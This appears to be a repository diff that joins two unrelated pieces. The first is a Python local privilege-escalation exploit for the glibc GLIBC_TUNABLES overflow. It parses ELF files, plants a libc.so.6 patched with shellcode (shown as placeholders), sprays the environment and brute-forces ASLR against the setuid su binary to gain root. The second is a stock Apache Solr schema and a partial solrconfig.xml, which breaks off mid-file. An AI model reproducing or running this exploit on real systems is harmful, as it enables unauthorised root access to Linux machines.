unhex = lambda v: binascii.unhexlify(v.replace(" ", ""))
|
||||
|
||||
TARGETS = {
|
||||
"i686": {
|
||||
"shellcode": unhex(
|
||||
"METASPLOIT_SHELL_CODE"
|
||||
),
|
||||
"exitcode": unhex("6a665b6a0158cd80"),
|
||||
"stack_top": 0xC0000000,
|
||||
"stack_aslr_bits": 23,
|
||||
},
|
||||
"x86_64": {
|
||||
"shellcode": unhex(
|
||||
"METASPLOIT_SHELL_CODE"
|
||||
),
|
||||
"exitcode": unhex("6a665f6a3c580f05"),
|
||||
"stack_top": 0x800000000000,
|
||||
"stack_aslr_bits": 34,
|
||||
},
|
||||
"aarch64": {
|
||||
"shellcode": unhex(
|
||||
"METASPLOIT_SHELL_CODE"
|
||||
),
|
||||
"exitcode": unhex("c00c80d2a80b80d2010000d4"),
|
||||
"stack_top": 0x1000000000000,
|
||||
"stack_aslr_bits": 30,
|
||||
},
|
||||
}
|
||||
|
||||
# Magic offsets for build IDs can be found for versions of glibc by disabling ASLR and using the original PoC: https://haxx.in/files/gnu-acme.py
|
||||
BUILD_IDS = METASPLOIT_BUILD_IDS
|
||||
|
||||
libc = cdll.LoadLibrary("libc.so.6")
|
||||
libc.execve.argtypes = c_char_p, POINTER(c_char_p), POINTER(c_char_p)
|
||||
resource.setrlimit(
|
||||
resource.RLIMIT_STACK, (resource.RLIM_INFINITY, resource.RLIM_INFINITY)
|
||||
)
|
||||
|
||||
|
||||
def find_path_before_null_character(blob_data, start_offset):
|
||||
current_position = start_offset
|
||||
while current_position > 0:
|
||||
current_byte = blob_data[current_position]
|
||||
next_byte = blob_data[current_position + 1] if current_position + 1 < len(blob_data) else None
|
||||
|
||||
if current_byte != 0 and current_byte != 0x2F and next_byte == 0:
|
||||
path_byte = bytes([current_byte])
|
||||
offset_from_start = current_position - start_offset
|
||||
return {"path": path_byte, "offset": offset_from_start}
|
||||
|
||||
current_position -= 1
|
||||
return None
|
||||
|
||||
|
||||
def parse_structured_data(structure_format, structure_keys, structure_data):
|
||||
unpacked_data = struct.unpack(structure_format, structure_data)
|
||||
parsed_structure = dict(zip(structure_keys.split(" "), unpacked_data))
|
||||
return parsed_structure
|
||||
|
||||
|
||||
def fetch_c_library_path():
|
||||
class LoadedLibrary(Structure):
|
||||
_fields_ = [("l_addr", c_void_p), ("l_name", c_char_p)]
|
||||
|
||||
libc_library = CDLL(find_library("c"))
|
||||
dl_library = CDLL(find_library("dl"))
|
||||
|
||||
dl_info_function = dl_library.dlinfo
|
||||
dl_info_function.argtypes = c_void_p, c_int, c_void_p
|
||||
dl_info_function.restype = c_int
|
||||
|
||||
link_map_ptr = c_void_p()
|
||||
dl_info_function(libc_library._handle, 2, byref(link_map_ptr))
|
||||
|
||||
return cast(link_map_ptr, POINTER(LoadedLibrary)).contents.l_name
|
||||
|
||||
|
||||
def execute_process(executable_path, arguments_list, environment_variables):
|
||||
libc.execve(executable_path, arguments_list, environment_variables)
|
||||
|
||||
|
||||
def execute_and_monitor(executable, arguments, environment):
|
||||
argument_pointers = (c_char_p * len(arguments))(*arguments)
|
||||
environment_pointers = (c_char_p * len(environment))(*environment)
|
||||
|
||||
child_pid = os.fork()
|
||||
if not child_pid:
|
||||
execute_process(executable, argument_pointers, environment_pointers)
|
||||
exit(0)
|
||||
|
||||
start_time = time.time()
|
||||
while True:
|
||||
try:
|
||||
pid, status = os.waitpid(child_pid, os.WNOHANG)
|
||||
if pid == child_pid:
|
||||
if os.WIFEXITED(status):
|
||||
return os.WEXITSTATUS(status) & 0xFF7F
|
||||
else:
|
||||
return 0
|
||||
except:
|
||||
pass
|
||||
current_time = time.time()
|
||||
if current_time - start_time >= 1.5:
|
||||
os.waitpid(child_pid, 0)
|
||||
return "Success"
|
||||
|
||||
|
||||
class DelayedElfParser:
|
||||
def __init__(self, filename):
|
||||
self.data = open(filename, "rb").read()
|
||||
self.architecture = 64 if self.data[4] == 2 else 32
|
||||
|
||||
elf_header_size = 0x30 if self.architecture == 64 else 0x24
|
||||
|
||||
self.header = parse_structured_data(
|
||||
ELF_ENTRY_FORMAT_64_BIT if self.architecture == 64 else ELF_ENTRY_FORMAT_32_BIT,
|
||||
ELF_HEADER_KEYS,
|
||||
self.data[0x10: 0x10 + elf_header_size],
|
||||
)
|
||||
section_header_table_index = self.extract_section_header(self.header[STRING_TABLE_INDEX])
|
||||
self.section_header_names = self.data[section_header_table_index["offset"] : section_header_table_index["offset"] + section_header_table_index["size"]]
|
||||
|
||||
def extract_section_header(self, index):
|
||||
header_offset = self.header["shoff"] + (index * self.header[ENTRY_SIZE])
|
||||
entry_format = HEADER_ENTRY_FORMAT_64_BIT if self.architecture == 64 else HEADER_ENTRY_FORMAT_32_BIT
|
||||
|
||||
return parse_structured_data(entry_format, ENTRY_KEYS, self.data[header_offset : header_offset + self.header[ENTRY_SIZE]])
|
||||
|
||||
def extract_section_header_by_name(self, section_name):
|
||||
encoded_name = section_name.encode()
|
||||
for section_index in range(self.header[NUMBER_OF_ENTRIES]):
|
||||
section_header = self.extract_section_header(section_index)
|
||||
section_name_data = self.section_header_names[section_header["name"]:].split(b"\x00")[0]
|
||||
if section_name_data == encoded_name:
|
||||
return section_header
|
||||
return None
|
||||
|
||||
def extract_section_by_name(self, section_name):
|
||||
section_header = self.extract_section_header_by_name(section_name)
|
||||
if section_header:
|
||||
start_offset = section_header["offset"]
|
||||
end_offset = start_offset + section_header["size"]
|
||||
return self.data[start_offset:end_offset]
|
||||
return None
|
||||
|
||||
def extract_symbol_value(self, symbol_name):
|
||||
encoded_name = symbol_name.encode()
|
||||
dynamic_symbol = self.extract_section_by_name(DYNAMIC_SYMBOL)
|
||||
dynamic_string = self.extract_section_by_name(DYNAMIC_STRING)
|
||||
symbol_entry_size = 24 if self.architecture == 64 else 16
|
||||
|
||||
for entry_index in range(len(dynamic_symbol) // symbol_entry_size):
|
||||
entry_start = entry_index * symbol_entry_size
|
||||
|
||||
if self.architecture == 64:
|
||||
symbol_entry = parse_structured_data(
|
||||
SYMBOL_STRUCTURE_FORMAT_64_BIT,
|
||||
SYMBOL_STRUCTURE_KEYS_64_BIT,
|
||||
dynamic_symbol[entry_start: entry_start + symbol_entry_size],
|
||||
)
|
||||
else:
|
||||
symbol_entry = parse_structured_data(
|
||||
SYMBOL_STRUCTURE_FORMAT_32_BIT,
|
||||
SYMBOL_STRUCTURE_KEYS_32_BIT,
|
||||
dynamic_symbol[entry_start: entry_start + symbol_entry_size],
|
||||
)
|
||||
|
||||
entry_name = dynamic_string[symbol_entry["name"]:].split(b"\x00")[0]
|
||||
if entry_name == encoded_name:
|
||||
return symbol_entry["value"]
|
||||
|
||||
return None
|
||||
|
||||
|
||||
def create_environment(adjustment, address, offset, bits=64):
|
||||
if bits == 64:
|
||||
environment = [
|
||||
TUNABLES_MISCONFIG + b"P" * adjustment,
|
||||
TUNABLES_MISCONFIG + b"X" * 8,
|
||||
TUNABLES_MISCONFIG + b"X" * 7,
|
||||
b"GLIBC_TUNABLES=glibc.mem.tagging=" + b"Y" * 24,
|
||||
]
|
||||
|
||||
padding = 172
|
||||
fill = 47
|
||||
else:
|
||||
environment = [
|
||||
TUNABLES_MISCONFIG + b"P" * adjustment,
|
||||
TUNABLES_MISCONFIG + b"X" * 7,
|
||||
b"GLIBC_TUNABLES=glibc.mem.tagging=" + b"X" * 14,
|
||||
]
|
||||
|
||||
padding = 87
|
||||
fill = 47 * 2
|
||||
|
||||
for j in range(padding):
|
||||
environment.append(b"")
|
||||
|
||||
if bits == 64:
|
||||
environment.append(struct.pack("<Q", address))
|
||||
environment.append(b"")
|
||||
else:
|
||||
environment.append(struct.pack("<L", address))
|
||||
|
||||
for _ in range(384):
|
||||
environment.append(b"")
|
||||
|
||||
for _ in range(fill):
|
||||
if bits == 64:
|
||||
environment.append(
|
||||
struct.pack("<Q", offset & 0xFFFFFFFFFFFFFFFF) * 16382 + b"\xaa" * 7
|
||||
)
|
||||
else:
|
||||
environment.append(
|
||||
struct.pack("<L", offset & 0xFFFFFFFF) * 16382 + b"\xaa" * 7
|
||||
)
|
||||
|
||||
environment.append(None)
|
||||
return environment
|
||||
|
||||
|
||||
def error_and_exit(error_msg):
|
||||
print("Error: %s" % error_msg)
|
||||
exit(-1)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
|
||||
architecture = os.uname().machine
|
||||
|
||||
if architecture not in TARGETS.keys():
|
||||
error_and_exit("This target's architecture '%s' is not supported by this exploit" % architecture)
|
||||
|
||||
c_library_path = fetch_c_library_path()
|
||||
su_binary_path = which("su")
|
||||
|
||||
memory_alignment = ((0x100 - (len(su_binary_path) + 1 + 8)) & 7) + 8
|
||||
su_binary_elf = DelayedElfParser(su_binary_path)
|
||||
dynamic_linker_path = su_binary_elf.extract_section_by_name(".interp").strip(b"\x00").decode('utf-8')
|
||||
dynamic_linker_elf = DelayedElfParser(dynamic_linker_path)
|
||||
dynamic_linker_build_id = binascii.hexlify(
|
||||
dynamic_linker_elf.extract_section_by_name(GNU_BUILD_ID)[-20:]).decode()
|
||||
|
||||
if dynamic_linker_build_id not in BUILD_IDS.keys():
|
||||
error_and_exit("The build ID found is not exploitable")
|
||||
|
||||
libc_elf = DelayedElfParser(c_library_path)
|
||||
libc_start_main = libc_elf.extract_symbol_value(LIBC_START_MAIN)
|
||||
|
||||
if libc_start_main == None:
|
||||
error_and_exit("The symbol in the libc ELF '__libc_start_main' could not be resolved.")
|
||||
|
||||
su_binary_offset = su_binary_elf.extract_section_header_by_name(".dynstr")["offset"]
|
||||
potential_path = find_path_before_null_character(su_binary_elf.data, su_binary_offset)
|
||||
|
||||
if potential_path is None:
|
||||
error_and_exit("The potential path in the su_binary could not be found.")
|
||||
|
||||
if not os.path.exists(potential_path["path"]):
|
||||
os.mkdir(potential_path["path"])
|
||||
|
||||
with open(potential_path["path"] + b"/libc.so.6", "wb") as file_handle:
|
||||
file_handle.write(libc_elf.data[0:libc_start_main])
|
||||
file_handle.write(TARGETS[architecture]["shellcode"])
|
||||
file_handle.write(libc_elf.data[libc_start_main + len(TARGETS[architecture]["shellcode"]):])
|
||||
|
||||
stack_address = TARGETS[architecture]["stack_top"] - (1 << (TARGETS[architecture]["stack_aslr_bits"]))
|
||||
|
||||
stack_address += memory_alignment
|
||||
|
||||
for i in range(6 if su_binary_elf.architecture == 64 else 4):
|
||||
if (stack_address >> (i * 8)) & 0xFF == 0:
|
||||
stack_address |= 0x10 << (i * 8)
|
||||
|
||||
environment = create_environment(BUILD_IDS[dynamic_linker_build_id], stack_address, potential_path["offset"],
|
||||
su_binary_elf.architecture)
|
||||
count = 1
|
||||
argv = [b"su", b"--help", None]
|
||||
while True:
|
||||
if execute_and_monitor(su_binary_path.encode(), argv, environment) == "Success":
|
||||
exit(0)
|
||||
count += 1
|
||||
@@ -0,0 +1,244 @@
|
||||
<?xml version="1.0" encoding="UTF-8" ?>
|
||||
<schema name="default-config" version="1.6">
|
||||
|
||||
<field name="id" type="string" indexed="true" stored="true" required="true" multiValued="false" />
|
||||
<field name="_version_" type="plong" indexed="false" stored="false"/>
|
||||
<field name="_root_" type="string" indexed="true" stored="false" docValues="false" />
|
||||
<field name="_nest_path_" type="_nest_path_" /><fieldType name="_nest_path_" class="solr.NestPathField" />
|
||||
<field name="_text_" type="text_general" indexed="true" stored="false" multiValued="true"/>
|
||||
<dynamicField name="*_i" type="pint" indexed="true" stored="true"/>
|
||||
<dynamicField name="*_is" type="pints" indexed="true" stored="true"/>
|
||||
<dynamicField name="*_s" type="string" indexed="true" stored="true" />
|
||||
<dynamicField name="*_ss" type="strings" indexed="true" stored="true"/>
|
||||
<dynamicField name="*_l" type="plong" indexed="true" stored="true"/>
|
||||
<dynamicField name="*_ls" type="plongs" indexed="true" stored="true"/>
|
||||
<dynamicField name="*_t" type="text_general" indexed="true" stored="true" multiValued="false"/>
|
||||
<dynamicField name="*_txt" type="text_general" indexed="true" stored="true"/>
|
||||
<dynamicField name="*_b" type="boolean" indexed="true" stored="true"/>
|
||||
<dynamicField name="*_bs" type="booleans" indexed="true" stored="true"/>
|
||||
<dynamicField name="*_f" type="pfloat" indexed="true" stored="true"/>
|
||||
<dynamicField name="*_fs" type="pfloats" indexed="true" stored="true"/>
|
||||
<dynamicField name="*_d" type="pdouble" indexed="true" stored="true"/>
|
||||
<dynamicField name="*_ds" type="pdoubles" indexed="true" stored="true"/>
|
||||
<dynamicField name="random_*" type="random"/>
|
||||
<dynamicField name="ignored_*" type="ignored"/>
|
||||
<dynamicField name="*_str" type="strings" stored="false" docValues="true" indexed="false" useDocValuesAsStored="false"/>
|
||||
<dynamicField name="*_dt" type="pdate" indexed="true" stored="true"/>
|
||||
<dynamicField name="*_dts" type="pdate" indexed="true" stored="true" multiValued="true"/>
|
||||
<dynamicField name="*_p" type="location" indexed="true" stored="true"/>
|
||||
<dynamicField name="*_srpt" type="location_rpt" indexed="true" stored="true"/>
|
||||
<dynamicField name="*_dpf" type="delimited_payloads_float" indexed="true" stored="true"/>
|
||||
<dynamicField name="*_dpi" type="delimited_payloads_int" indexed="true" stored="true"/>
|
||||
<dynamicField name="*_dps" type="delimited_payloads_string" indexed="true" stored="true"/>
|
||||
<dynamicField name="attr_*" type="text_general" indexed="true" stored="true" multiValued="true"/>
|
||||
<uniqueKey>id</uniqueKey>
|
||||
<fieldType name="string" class="solr.StrField" sortMissingLast="true" docValues="true" />
|
||||
<fieldType name="strings" class="solr.StrField" sortMissingLast="true" multiValued="true" docValues="true" />
|
||||
<fieldType name="boolean" class="solr.BoolField" sortMissingLast="true"/>
|
||||
<fieldType name="booleans" class="solr.BoolField" sortMissingLast="true" multiValued="true"/>
|
||||
<fieldType name="pint" class="solr.IntPointField" docValues="true"/>
|
||||
<fieldType name="pfloat" class="solr.FloatPointField" docValues="true"/>
|
||||
<fieldType name="plong" class="solr.LongPointField" docValues="true"/>
|
||||
<fieldType name="pdouble" class="solr.DoublePointField" docValues="true"/>
|
||||
<fieldType name="pints" class="solr.IntPointField" docValues="true" multiValued="true"/>
|
||||
<fieldType name="pfloats" class="solr.FloatPointField" docValues="true" multiValued="true"/>
|
||||
<fieldType name="plongs" class="solr.LongPointField" docValues="true" multiValued="true"/>
|
||||
<fieldType name="pdoubles" class="solr.DoublePointField" docValues="true" multiValued="true"/>
|
||||
<fieldType name="random" class="solr.RandomSortField" indexed="true"/>
|
||||
<fieldType name="ignored" stored="false" indexed="false" multiValued="true" class="solr.StrField" />
|
||||
<fieldType name="pdate" class="solr.DatePointField" docValues="true"/>
|
||||
<fieldType name="pdates" class="solr.DatePointField" docValues="true" multiValued="true"/>
|
||||
<fieldType name="binary" class="solr.BinaryField"/>
|
||||
<fieldType name="rank" class="solr.RankField"/>
|
||||
<dynamicField name="*_ws" type="text_ws" indexed="true" stored="true"/>
|
||||
<fieldType name="text_ws" class="solr.TextField" positionIncrementGap="100">
|
||||
<analyzer>
|
||||
<tokenizer name="whitespace"/>
|
||||
</analyzer>
|
||||
</fieldType>
|
||||
<fieldType name="text_general" class="solr.TextField" positionIncrementGap="100" multiValued="true">
|
||||
<analyzer type="index">
|
||||
<tokenizer name="standard"/>
|
||||
<filter name="stop" ignoreCase="true" words="stopwords.txt" />
|
||||
<filter name="lowercase"/>
|
||||
</analyzer>
|
||||
<analyzer type="query">
|
||||
<tokenizer name="standard"/>
|
||||
<filter name="stop" ignoreCase="true" words="stopwords.txt" />
|
||||
<filter name="synonymGraph" synonyms="synonyms.txt" ignoreCase="true" expand="true"/>
|
||||
<filter name="lowercase"/>
|
||||
</analyzer>
|
||||
</fieldType>
|
||||
<dynamicField name="*_t_sort" type="text_gen_sort" indexed="true" stored="true" multiValued="false"/>
|
||||
<dynamicField name="*_txt_sort" type="text_gen_sort" indexed="true" stored="true"/>
|
||||
<fieldType name="text_gen_sort" class="solr.SortableTextField" positionIncrementGap="100" multiValued="true">
|
||||
<analyzer type="index">
|
||||
<tokenizer name="standard"/>
|
||||
<filter name="stop" ignoreCase="true" words="stopwords.txt" />
|
||||
<filter name="lowercase"/>
|
||||
</analyzer>
|
||||
<analyzer type="query">
|
||||
<tokenizer name="standard"/>
|
||||
<filter name="stop" ignoreCase="true" words="stopwords.txt" />
|
||||
<filter name="synonymGraph" synonyms="synonyms.txt" ignoreCase="true" expand="true"/>
|
||||
<filter name="lowercase"/>
|
||||
</analyzer>
|
||||
</fieldType>
|
||||
<dynamicField name="*_txt_en" type="text_en" indexed="true" stored="true"/>
|
||||
<fieldType name="text_en" class="solr.TextField" positionIncrementGap="100">
|
||||
<analyzer type="index">
|
||||
<tokenizer name="standard"/>
|
||||
<filter name="stop"
|
||||
ignoreCase="true"
|
||||
words="lang/stopwords_en.txt"
|
||||
/>
|
||||
<filter name="lowercase"/>
|
||||
<filter name="englishPossessive"/>
|
||||
<filter name="keywordMarker" protected="protwords.txt"/>
|
||||
<filter name="porterStem"/>
|
||||
</analyzer>
|
||||
<analyzer type="query">
|
||||
<tokenizer name="standard"/>
|
||||
<filter name="synonymGraph" synonyms="synonyms.txt" ignoreCase="true" expand="true"/>
|
||||
<filter name="stop"
|
||||
ignoreCase="true"
|
||||
words="lang/stopwords_en.txt"
|
||||
/>
|
||||
<filter name="lowercase"/>
|
||||
<filter name="englishPossessive"/>
|
||||
<filter name="keywordMarker" protected="protwords.txt"/>
|
||||
<filter name="porterStem"/>
|
||||
</analyzer>
|
||||
</fieldType>
|
||||
<dynamicField name="*_txt_en_split" type="text_en_splitting" indexed="true" stored="true"/>
|
||||
<fieldType name="text_en_splitting" class="solr.TextField" positionIncrementGap="100" autoGeneratePhraseQueries="true">
|
||||
<analyzer type="index">
|
||||
<tokenizer name="whitespace"/>
|
||||
<filter name="stop"
|
||||
ignoreCase="true"
|
||||
words="lang/stopwords_en.txt"
|
||||
/>
|
||||
<filter name="wordDelimiterGraph" generateWordParts="1" generateNumberParts="1" catenateWords="1" catenateNumbers="1" catenateAll="0" splitOnCaseChange="1"/>
|
||||
<filter name="lowercase"/>
|
||||
<filter name="keywordMarker" protected="protwords.txt"/>
|
||||
<filter name="porterStem"/>
|
||||
<filter name="flattenGraph" />
|
||||
</analyzer>
|
||||
<analyzer type="query">
|
||||
<tokenizer name="whitespace"/>
|
||||
<filter name="synonymGraph" synonyms="synonyms.txt" ignoreCase="true" expand="true"/>
|
||||
<filter name="stop"
|
||||
ignoreCase="true"
|
||||
words="lang/stopwords_en.txt"
|
||||
/>
|
||||
<filter name="wordDelimiterGraph" generateWordParts="1" generateNumberParts="1" catenateWords="0" catenateNumbers="0" catenateAll="0" splitOnCaseChange="1"/>
|
||||
<filter name="lowercase"/>
|
||||
<filter name="keywordMarker" protected="protwords.txt"/>
|
||||
<filter name="porterStem"/>
|
||||
</analyzer>
|
||||
</fieldType>
|
||||
<dynamicField name="*_txt_en_split_tight" type="text_en_splitting_tight" indexed="true" stored="true"/>
|
||||
<fieldType name="text_en_splitting_tight" class="solr.TextField" positionIncrementGap="100" autoGeneratePhraseQueries="true">
|
||||
<analyzer type="index">
|
||||
<tokenizer name="whitespace"/>
|
||||
<filter name="synonymGraph" synonyms="synonyms.txt" ignoreCase="true" expand="false"/>
|
||||
<filter name="stop" ignoreCase="true" words="lang/stopwords_en.txt"/>
|
||||
<filter name="wordDelimiterGraph" generateWordParts="0" generateNumberParts="0" catenateWords="1" catenateNumbers="1" catenateAll="0"/>
|
||||
<filter name="lowercase"/>
|
||||
<filter name="keywordMarker" protected="protwords.txt"/>
|
||||
<filter name="englishMinimalStem"/>
|
||||
<filter name="removeDuplicates"/>
|
||||
<filter name="flattenGraph" />
|
||||
</analyzer>
|
||||
<analyzer type="query">
|
||||
<tokenizer name="whitespace"/>
|
||||
<filter name="synonymGraph" synonyms="synonyms.txt" ignoreCase="true" expand="false"/>
|
||||
<filter name="stop" ignoreCase="true" words="lang/stopwords_en.txt"/>
|
||||
<filter name="wordDelimiterGraph" generateWordParts="0" generateNumberParts="0" catenateWords="1" catenateNumbers="1" catenateAll="0"/>
|
||||
<filter name="lowercase"/>
|
||||
<filter name="keywordMarker" protected="protwords.txt"/>
|
||||
<filter name="englishMinimalStem"/>
|
||||
<filter name="removeDuplicates"/>
|
||||
</analyzer>
|
||||
</fieldType>
|
||||
<dynamicField name="*_txt_rev" type="text_general_rev" indexed="true" stored="true"/>
|
||||
<fieldType name="text_general_rev" class="solr.TextField" positionIncrementGap="100">
|
||||
<analyzer type="index">
|
||||
<tokenizer name="standard"/>
|
||||
<filter name="stop" ignoreCase="true" words="stopwords.txt" />
|
||||
<filter name="lowercase"/>
|
||||
<filter name="reversedWildcard" withOriginal="true"
|
||||
maxPosAsterisk="3" maxPosQuestion="2" maxFractionAsterisk="0.33"/>
|
||||
</analyzer>
|
||||
<analyzer type="query">
|
||||
<tokenizer name="standard"/>
|
||||
<filter name="synonymGraph" synonyms="synonyms.txt" ignoreCase="true" expand="true"/>
|
||||
<filter name="stop" ignoreCase="true" words="stopwords.txt" />
|
||||
<filter name="lowercase"/>
|
||||
</analyzer>
|
||||
</fieldType>
|
||||
<dynamicField name="*_phon_en" type="phonetic_en" indexed="true" stored="true"/>
|
||||
<fieldType name="phonetic_en" stored="false" indexed="true" class="solr.TextField" >
|
||||
<analyzer>
|
||||
<tokenizer name="standard"/>
|
||||
<filter name="doubleMetaphone" inject="false"/>
|
||||
</analyzer>
|
||||
</fieldType>
|
||||
<dynamicField name="*_s_lower" type="lowercase" indexed="true" stored="true"/>
|
||||
<fieldType name="lowercase" class="solr.TextField" positionIncrementGap="100">
|
||||
<analyzer>
|
||||
<tokenizer name="keyword"/>
|
||||
<filter name="lowercase" />
|
||||
</analyzer>
|
||||
</fieldType>
|
||||
<dynamicField name="*_descendent_path" type="descendent_path" indexed="true" stored="true"/>
|
||||
<fieldType name="descendent_path" class="solr.TextField">
|
||||
<analyzer type="index">
|
||||
<tokenizer name="pathHierarchy" delimiter="/" />
|
||||
</analyzer>
|
||||
<analyzer type="query">
|
||||
<tokenizer name="keyword" />
|
||||
</analyzer>
|
||||
</fieldType>
|
||||
<dynamicField name="*_ancestor_path" type="ancestor_path" indexed="true" stored="true"/>
|
||||
<fieldType name="ancestor_path" class="solr.TextField">
|
||||
<analyzer type="index">
|
||||
<tokenizer name="keyword" />
|
||||
</analyzer>
|
||||
<analyzer type="query">
|
||||
<tokenizer name="pathHierarchy" delimiter="/" />
|
||||
</analyzer>
|
||||
</fieldType>
|
||||
<dynamicField name="*_point" type="point" indexed="true" stored="true"/>
|
||||
<fieldType name="point" class="solr.PointType" dimension="2" subFieldSuffix="_d"/>
|
||||
<fieldType name="location" class="solr.LatLonPointSpatialField" docValues="true"/>
|
||||
<fieldType name="location_rpt" class="solr.SpatialRecursivePrefixTreeFieldType"
|
||||
geo="true" distErrPct="0.025" maxDistErr="0.001" distanceUnits="kilometers" />
|
||||
<fieldType name="delimited_payloads_float" stored="false" indexed="true" class="solr.TextField">
|
||||
<analyzer>
|
||||
<tokenizer name="whitespace"/>
|
||||
<filter name="delimitedPayload" encoder="float"/>
|
||||
</analyzer>
|
||||
</fieldType>
|
||||
<fieldType name="delimited_payloads_int" stored="false" indexed="true" class="solr.TextField">
|
||||
<analyzer>
|
||||
<tokenizer name="whitespace"/>
|
||||
<filter name="delimitedPayload" encoder="integer"/>
|
||||
</analyzer>
|
||||
</fieldType>
|
||||
<fieldType name="delimited_payloads_string" stored="false" indexed="true" class="solr.TextField">
|
||||
<analyzer>
|
||||
<tokenizer name="whitespace"/>
|
||||
<filter name="delimitedPayload" encoder="identity"/>
|
||||
</analyzer>
|
||||
</fieldType>
|
||||
<dynamicField name="*_txt_cjk" type="text_cjk" indexed="true" stored="true"/>
|
||||
<fieldType name="text_cjk" class="solr.TextField" positionIncrementGap="100">
|
||||
<analyzer>
|
||||
<tokenizer name="standard"/>
|
||||
<filter name="CJKWidth"/>
|
||||
<filter name="lowercase"/>
|
||||
<filter name="CJKBigram"/>
|
||||
</analyzer>
|
||||
</fieldType>
|
||||
</schema>
|
||||
@@ -0,0 +1,262 @@
|
||||
<?xml version="1.0" encoding="UTF-8" ?>
|
||||
<config>
|
||||
<luceneMatchVersion>9.0</luceneMatchVersion>
|
||||
<dataDir>${solr.data.dir:}</dataDir>
|
||||
<directoryFactory name="DirectoryFactory"
|
||||
class="${solr.directoryFactory:solr.NRTCachingDirectoryFactory}"/>
|
||||
<codecFactory class="solr.SchemaCodecFactory"/>
|
||||
<indexConfig>
|
||||
<lockType>${solr.lock.type:native}</lockType>
|
||||
</indexConfig>
|
||||
<updateHandler class="solr.DirectUpdateHandler2">
|
||||
|
||||
<updateLog>
|
||||
<str name="dir">${solr.ulog.dir:}</str>
|
||||
<int name="numVersionBuckets">${solr.ulog.numVersionBuckets:65536}</int>
|
||||
</updateLog>
|
||||
|
||||
<autoCommit>
|
||||
<maxTime>${solr.autoCommit.maxTime:15000}</maxTime>
|
||||
<openSearcher>false</openSearcher>
|
||||
</autoCommit>
|
||||
|
||||
<autoSoftCommit>
|
||||
<maxTime>${solr.autoSoftCommit.maxTime:-1}</maxTime>
|
||||
</autoSoftCommit>
|
||||
|
||||
</updateHandler>
|
||||
|
||||
<query>
|
||||
|
||||
<maxBooleanClauses>${solr.max.booleanClauses:1024}</maxBooleanClauses>
|
||||
|
||||
<filterCache size="512"
|
||||
initialSize="512"
|
||||
autowarmCount="0"/>
|
||||
<queryResultCache size="512"
|
||||
initialSize="512"
|
||||
autowarmCount="0"/>
|
||||
|
||||
<documentCache size="512"
|
||||
initialSize="512"
|
||||
autowarmCount="0"/>
|
||||
|
||||
<cache name="perSegFilter"
|
||||
class="solr.CaffeineCache"
|
||||
size="10"
|
||||
initialSize="0"
|
||||
autowarmCount="10"
|
||||
regenerator="solr.NoOpRegenerator" />
|
||||
|
||||
<enableLazyFieldLoading>true</enableLazyFieldLoading>
|
||||
|
||||
<queryResultWindowSize>20</queryResultWindowSize>
|
||||
|
||||
<queryResultMaxDocsCached>200</queryResultMaxDocsCached>
|
||||
|
||||
<listener event="newSearcher" class="solr.QuerySenderListener">
|
||||
<arr name="queries">
|
||||
</arr>
|
||||
</listener>
|
||||
<listener event="firstSearcher" class="solr.QuerySenderListener">
|
||||
<arr name="queries">
|
||||
</arr>
|
||||
</listener>
|
||||
|
||||
<useColdSearcher>false</useColdSearcher>
|
||||
|
||||
</query>
|
||||
|
||||
<circuitBreakers enabled="true">
|
||||
|
||||
</circuitBreakers>
|
||||
|
||||
<requestDispatcher>
|
||||
|
||||
<httpCaching never304="true" />
|
||||
</requestDispatcher>
|
||||
|
||||
<requestHandler name="/select" class="solr.SearchHandler">
|
||||
<lst name="defaults">
|
||||
<str name="echoParams">explicit</str>
|
||||
<int name="rows">10</int>
|
||||
</lst>
|
||||
</requestHandler>
|
||||
<requestHandler name="/query" class="solr.SearchHandler">
|
||||
<lst name="defaults">
|
||||
<str name="echoParams">explicit</str>
|
||||
<str name="wt">json</str>
|
||||
<str name="indent">true</str>
|
||||
</lst>
|
||||
</requestHandler>
|
||||
<initParams path="/update/**,/query,/select,/spell">
|
||||
<lst name="defaults">
|
||||
<str name="df">_text_</str>
|
||||
</lst>
|
||||
</initParams>
|
||||
<searchComponent name="spellcheck" class="solr.SpellCheckComponent">
|
||||
<str name="queryAnalyzerFieldType">text_general</str>
|
||||
<lst name="spellchecker">
|
||||
<str name="name">default</str>
|
||||
<str name="field">_text_</str>
|
||||
<str name="classname">solr.DirectSolrSpellChecker</str>
|
||||
<str name="distanceMeasure">internal</str>
|
||||
<float name="accuracy">0.5</float>
|
||||
<int name="maxEdits">2</int>
|
||||
<int name="minPrefix">1</int>
|
||||
<int name="maxInspections">5</int>
|
||||
<int name="minQueryLength">4</int>
|
||||
<float name="maxQueryFrequency">0.01</float>
|
||||
</lst>
|
||||
</searchComponent>
|
||||
<requestHandler name="/spell" class="solr.SearchHandler" startup="lazy">
|
||||
<lst name="defaults">
|
||||
<str name="spellcheck.dictionary">default</str>
|
||||
<str name="spellcheck">on</str>
|
||||
<str name="spellcheck.extendedResults">true</str>
|
||||
<str name="spellcheck.count">10</str>
|
||||
<str name="spellcheck.alternativeTermCount">5</str>
|
||||
<str name="spellcheck.maxResultsForSuggest">5</str>
|
||||
<str name="spellcheck.collate">true</str>
|
||||
<str name="spellcheck.collateExtendedResults">true</str>
|
||||
<str name="spellcheck.maxCollationTries">10</str>
|
||||
<str name="spellcheck.maxCollations">5</str>
|
||||
</lst>
|
||||
<arr name="last-components">
|
||||
<str>spellcheck</str>
|
||||
</arr>
|
||||
</requestHandler>
|
||||
<searchComponent class="solr.HighlightComponent" name="highlight">
|
||||
<highlighting>
|
||||
<fragmenter name="gap"
|
||||
default="true"
|
||||
class="solr.highlight.GapFragmenter">
|
||||
<lst name="defaults">
|
||||
<int name="hl.fragsize">100</int>
|
||||
</lst>
|
||||
</fragmenter>
|
||||
|
||||
<fragmenter name="regex"
|
||||
class="solr.highlight.RegexFragmenter">
|
||||
<lst name="defaults">
|
||||
<int name="hl.fragsize">70</int>
|
||||
<float name="hl.regex.slop">0.5</float>
|
||||
<str name="hl.regex.pattern">[-\w ,/\n\"']{20,200}</str>
|
||||
</lst>
|
||||
</fragmenter>
|
||||
<formatter name="html"
|
||||
default="true"
|
||||
class="solr.highlight.HtmlFormatter">
|
||||
<lst name="defaults">
|
||||
<str name="hl.simple.pre"><![CDATA[<em>]]></str>
|
||||
<str name="hl.simple.post"><![CDATA[</em>]]></str>
|
||||
</lst>
|
||||
</formatter>
|
||||
<encoder name="html"
|
||||
class="solr.highlight.HtmlEncoder" />
|
||||
|
||||
<fragListBuilder name="simple"
|
||||
class="solr.highlight.SimpleFragListBuilder"/>
|
||||
|
||||
<fragListBuilder name="single"
|
||||
